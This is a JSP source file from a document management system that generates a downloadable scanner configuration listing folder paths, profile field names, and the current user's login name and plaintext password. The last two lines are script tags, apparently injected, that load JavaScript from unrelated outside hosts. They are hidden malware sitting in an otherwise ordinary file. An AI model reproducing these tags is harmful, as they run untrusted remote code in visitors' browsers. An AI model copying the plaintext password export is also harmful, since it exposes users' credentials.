<%@ page import="com.dcivision.framework.*"
%><%@ page import="com.dcivision.dms.dao.*"
%><%@ page import="com.dcivision.dms.bean.*"
%><%@ page import="java.sql.*"
%><%@ page import="java.util.*"
%><%@ page import="org.apache.commons.logging.LogFactory"
%><jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/><%
response.addHeader("Content-Disposition", "attachment; filename=dms.conf\"");
Connection conn = null;
List rootList = new ArrayList();
String[] defProf = new String[10];
try {
  conn = DataSourceFactory.getConnection();
  DmsRootDAObject dmsRootDAO = new DmsRootDAObject(sessionContainer, conn);
  List tmpRootList = dmsRootDAO.getFullList();
  for (int i = 0; i < tmpRootList.size(); i++) {
    DmsRoot dmsRoot = (DmsRoot)tmpRootList.get(i);
    if (DmsRoot.PUBLIC_ROOT.equals(dmsRoot.getRootType())) {
      rootList.add(dmsRoot);
    }
  }

  DmsDefaultProfileSettingDAObject dmsDefaultProfileSettingDAO = new DmsDefaultProfileSettingDAObject(sessionContainer, conn);
  List dmsDefaultProfileSettingList = dmsDefaultProfileSettingDAO.getFullList();

  int numOfFields = SystemParameterFactory.getSystemParameterInteger(SystemParameterConstant.DMS_DEFAULT_PROFILE_FIELD_COUNT).intValue();
  for (int i = 0; i < numOfFields; i++) {
    DmsDefaultProfileSetting setting = (DmsDefaultProfileSetting)dmsDefaultProfileSettingList.get(i);
    defProf[i] = setting.getFieldName();
  }
} catch (Exception e) {
  LogFactory.getLog(this.getClass()).error(e, e);
} finally {
  try { conn.close(); } catch (Exception ignore) {} finally { conn = null; }
}
%>
#Submission URL
URL=<%=SystemParameterFactory.getSystemParameter(SystemParameterConstant.APPLICATION_BASE_URL)%>/dms/ScanDmsDocument.do

#User Login Name and Pwd
loginName=<%=sessionContainer.getUserRecord().getLoginName()%>
loginPwd=<%=sessionContainer.getUserRecord().getLoginPwd()%>

#Document Type
dms.documentType=D

#The sleep interval duration in second
interval=5

#Parameters of upload method - ACME, KONICA, KODAK, BIZSOFT
scan.method=KONICA

#Target file scanned extensions
scan.uploadFileExten=.tif
scan.uploadFileIndexExten=
scan.documentIndexExten=

#Full-Text File setup, 'Y' as enabled the fulltext OCR
scan.fullTextEnable=N
scan.fullTextExten=

#Number of monitored location instance; Be sure to identify the same number of Src dir
multipleInstance=<%=rootList.size()%>

#Location setup
<%for (int i = 0; i < rootList.size(); i++) {
    DmsRoot dmsRoot = (DmsRoot)rootList.get(i);
    if (DmsRoot.PUBLIC_ROOT.equals(dmsRoot.getRootType())) {
    %>
# Folder Name: <%=dmsRoot.getRootName()%>
dir.source.<%=i+1%>=C:/ParaScan/<%=dmsRoot.getRootName()%>
dms.parentID.<%=i+1%>=<%=dmsRoot.getRootFolderID()%>
dms.rootID.<%=i+1%>=<%=dmsRoot.getID()%>
  <%}
  }%>
dir.backup=C:/ParaScan/Backup
dir.error=C:/ParaScan/Error
dir.log=C:/ParaScan/Backup

#Document default profile mapping
dms.field.noUDF=DEFAULT_PROFILE
dms.field.referenceNo=Reference No
dms.field.description=Description
<%for (int i = 0; i < defProf.length; i++) {%>dms.field.userDef<%=i+1%>=<%=TextUtility.noNull(defProf[i])%>
<%}%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>